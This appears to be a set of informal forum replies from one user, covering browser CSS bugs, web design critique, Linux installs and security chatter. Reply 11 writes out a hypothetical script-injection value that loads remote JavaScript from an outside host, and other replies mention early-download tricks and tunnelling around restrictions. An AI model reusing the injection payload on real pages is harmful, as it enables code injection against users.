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  1. They also could be GUID's. They could be anything really.
  2. I tried your page in a gauntlet of various browsers, and it seems like its only IE6 and IE5.5 (IE5.0 wouldn't even open your page :) ). It may be an Escaping Floats Bug. In case its not this page has a good list of the possible IE bugs. It may also have something to do with this: .side_column, #middle { width:229px; float:left; padding:0; margin:0; } seeing as the "something here" div has the side_column class. The #middle later gets overridden by: #middle { width:534px; margin:0 3px; } you could try adding this to the end of your style sheet: .side_column #right { float: right; } and man, put down the Frontpage, we don't want anybody to get hurt, now do we. :twisted:
  3. ummm... yes. Not sure exactly what you are talking about, but yes I'm using FF2.0, and yes print stylesheets work in FF2.0. A List Apart has a really good print stylesheet. Do a print preview of the page to see what I mean.
  4. Well, most people I know who do this use a rarely heard of program called Windows Live Messenger. :) Personally that program isn't leet enough for me so I use Gaim. You don't even need their IP, just their hotmail address. Its wonderful, its got tons more features than telnet chat, too. P.S. Damn you Sparda you beat me to it.
  5. Well, this isn't going to help you now, but for any one cutting circular shapes in the future use a Compass Jig, http://www.efalk.org/falk/Router/ . It shows how to make one for a router, but it shouldn't be to hard to adapt the design for a dremel.
  6. It works in any modern browser. I've heard that it may be a little buggy in the last gen of browsers (FF1.0, IE6, Opera8), but who uses those anyway.
  7. You got that when you tried to decompile it? Have you tried using a hex editor. If that Multi tool program runs, it cant possibly be encrypted, if it is then the key should be some where in the file. To top that, if its a standard windows exe, it couldn't be "decompiled", disassembled maybe but you wouldn't ever get the original source back. Well according to this post it does use encryption. Blowfish to be exact.
  8. You could just get away with not having a separate page altogether by using a print style sheet. This Article does a good job of explaining it. So that way the user could just use the print button in the browser. :D
  9. The Security Now podcast does a good job of explaining the internet. Heres some you may be interested in. http://www.twit.tv/sn43 http://www.twit.tv/sn26 http://www.twit.tv/sn25
  10. First things first, ditch the splash page. I don't mean to be harsh, but the nineties called (you know the rest). Now on to the advertisements, ditch those too. This web site is an ad for disc shack, and having ad in an ad is kind of redundant. You should try to get him to pay for hosting, its not that expensive, and it would make you and him look more professional. The composition on some of the photos is kinda off. Oh yeah, DON'T USE ALL CAPS. FOR ANYTHING. PERIOD. On to the code, did you use dreamweaver? You definitely used a WYSIWYG, one shouldn't be able to tell these things. I am very big on hand coding web sites so take this with a grain of salt. I believe that hand coding a web site yields code that is more reusable, and flexible. If your client ever wanted to make his site dynamic, you will a very hard time figuring out whats what. Unless of course use ASP... but lets hope thats not the case. I mean on small sites fine whatever, its a few extra hours of pay right? But I have heard horror stories of 1,200 static html pages, all created with dreamweaver, imagine if they changed their phone number. Every page would have to be loaded in to dreamweaver, and changed. Not fun. External style sheets, use them (see above, about code reuse). When the dust settles, everything is said and done, and [some other cliché here]. Its not a bad site. It just needs some polish. P.S. You spelled welcome wrong in the title. Dreamweaver does have a spell check feature. Its under the "Text" menu.
  11. Hmmm... Javascript you say? Here's a possible scenario, your router is probably doing a some sort of server side scripting. It then generates the page which happens to contain a javascript something like: var key = "[your key]"; the problem is that you key could contain a quote, it could be a single or double quote, as javascript uses both for strings. for instance: var key = "my"lame"key"; now what you have to do is add a </script>after the quote, and link to an external script. so your key could be: "&lt;/script&gt;&lt;script src="http://hak5.org/a.js"&gt;&lt;/script&gt; But this is hypothetical, seeing I don't have the source or the key, but a quick run to grc's password page reveals that those passwords are chock full of quotes and other things that could get you in trouble. But if you care to post your key and the source of that page, I will be glad to install spyware on you computer... I mean... ummm... goodbye...
  12. Yes, thats Diggdown.net but my hack did not involve that at all it was a direct download from Revisioin3's site. Which, according to this post the main reason they don't want people to download it from diggdown is they don't get ad revenue, and clearly in this case they do. I'm not crying that they deleted my post, because I admit I was really dumb for posting it there. The point I'm trying to make is they do nothing to prevent early downloads (except deleting forum posts). I'm not talking DRM or anything like that, just make the URL even the slightest bit harder to figure out. Here's the code http://rapidshare.com/files/12852314/rev4.zip.html
  13. Alright this post got deleted from the Revision3 forums, but here it goes... (all right so it doesn't get immedately deleted here, make sure to read the last few paragraphs). <rant> So to clarify, I don't want to do harm to Revision3. I like their content, but apparently they don't get it. They never looked at my code or even really read my post. It is extremely easy to download Diggnation early directly from their site. Thats the kicker, its direct from their site. They have put no measures in place to prevent it. It not like I'm posting about Diggdown or something like that. </rant> Well, so this is just about me frothing at the mouth. I think we should create some mechanism to prevent "unauthorized downloading of premium content". So here's my Idea, tell me what you think. It involves putting hash of the the content in the url for the video. for example: the current url of diggnation is (go ahead try it): http://videos.revision3.com/diggnation/008...-large.h264.mov My idea is: http://videos.revision3.com/diggnation/0081/[Hash of video file]/diggnation--0081--2007-01-12--large.h264.mov The only drawback is that a paying member could still post the link somewhere, but if you're a paying member you could just redistribute the video file.
  14. well according to the response headers your running version 2.0.46 of apache. A quick google revealed this. So, yes it is, venerable. You should make sure you are using the latest version of all of the software installed on the server.
  15. Not quite, What you talking about is brute force. A Rainbow table is a way of doing all the brute force type computations ahead of time and saving them. Which also allows you to give that data to other people.
  16. Another way for some one to get ones personal information is to watch someones internet traffic. A lesser l33t h4x0r may say "Hmmm... I'll just check my checking account balance, while I'm at it." Not realizing that there are only two banks in that particular chain. With enough of that kind of information, you could probably narrow the location of a person down to the block or street that they live on. The only possible solution to that is to not be a n00b, but you could probably say that to anything. e.g. Person A: "OMG, the fuzzzzz found where I live, Oh Noes!" Person B: "Come on! Don't be a n00b" Person A: "I think the guacamole gave food poising." Person B: "Well, that wouldn't have happened if you weren't such a n00b" Person A: "What does it mean when TOR isn't responding? I still have an internet connection." Person B: "That you're a n00b" So the moral of the story is you should probably keep you traffic restricted to public terminals, and... um... don't be a n00b.
  17. Cross Browser compatibility is very much a dark art that arises from each browser manufacturer interpreting the standards differently. A great place to start is Position is Everything. They have a very comprehensive list of all bugs in all browsers (mostly IE, but you probably expected that). This is such a big problem, people have exploited it to create very different designs in different browsers. Take a look at this page in IE6 and then in IE7 or Firefox. You can usually get css based layouts to work if you know what to avoid. Even with psychokiller solution you can still run into problems. The quickest, dirtiest, way is to make your layout work flawlessly in Firefox and Opera, as they are the most standards compliant, then use conditional comments to create specific versions for the various versions of IE. And lastly if need to run multiple versions of IE, you should check out this and this. That should be everything you need to start your journey, minus a few bags of jerkey. ;)
  18. I'm currently using, Neogenix. Deviant Art is a great place to find skins for all sorts of applications.
  19. Just imagine if this dihydrogen monoxide got into our water supply. I could see where this would be a terrorist field day. I've heard that Dihydrogen Monoxide was even responsible for creating the Grand Canyon, apparently the Colorado River contains tons of this stuff.
  20. yeah, what about Invader Zim? Seriously antirem, You need to start downloa... err... watching some quality content.
  21. Maybe you could RTPHPM. They have the best documentation I've ever seen, especially for a scripting language. So I'm not completely flaming, you could try the book PHP fast & easy web developement. It walks you through setting up an *AMP (thats [your OS of choice], Apache, Mysql, and PHP) server, as well.
  22. Gentoo is really easy, assuming your hardware is supported. I spent an entire weekend trying to get Madwifi and WPA-supplicant to play nicely with each other, it still doesn't work. I'm going to try ndiswrapper once I have another weekend to fiddle with that stuff. But that was my only problem with installing Gentoo. The Portage system is amazing, it makes compiling any package, including the kernel, from scratch easy, time consuming, but easy. Try that with RPMs! First off its a great way of checking if all your hardware works. Second, if anything needs configuring you can do it right there, in the installer, then copy the config files to a USB drive, boot in to the newly installed OS, copy the files back and voila, config is done, and you don't have to worry about screwing up the installed version on your hd just reboot and try again. Lastly, and most importantly, to play games while the OS is installing.
  23. Or you could do it this way http://www.gamersreports.com/article/43/, which I suppose is more warranty friendly than any sort of hack.
  24. Limewire? Say it with me now: Winners don't do Warez! (or illegal mp3's, or drugs) Now that we've got that done with. You could try setting up a VPN or a SSL tunnel to somewhere that doesn't have such problematic restrictions.
  25. Painkiller, calm down. Common sense says that if you see someone hiding behind a bush you call the police. It's all a matter of the size and shape of the bush, and if you have uber-nijna ( :ninja: ) sealth skills. As far as can you be caught? Depends on how fast you run with a laptop in your hands. If you do hack the pentagon, they probably wouldn't take that well, in which you may need to be able to run even faster, maybe even get some running shoes. So, todays lesson, think about your question before asking, and if you don't prepare for really lame, bizarre, and useless replies. Like this one. Tomorrows lesson, why suicide is bad.
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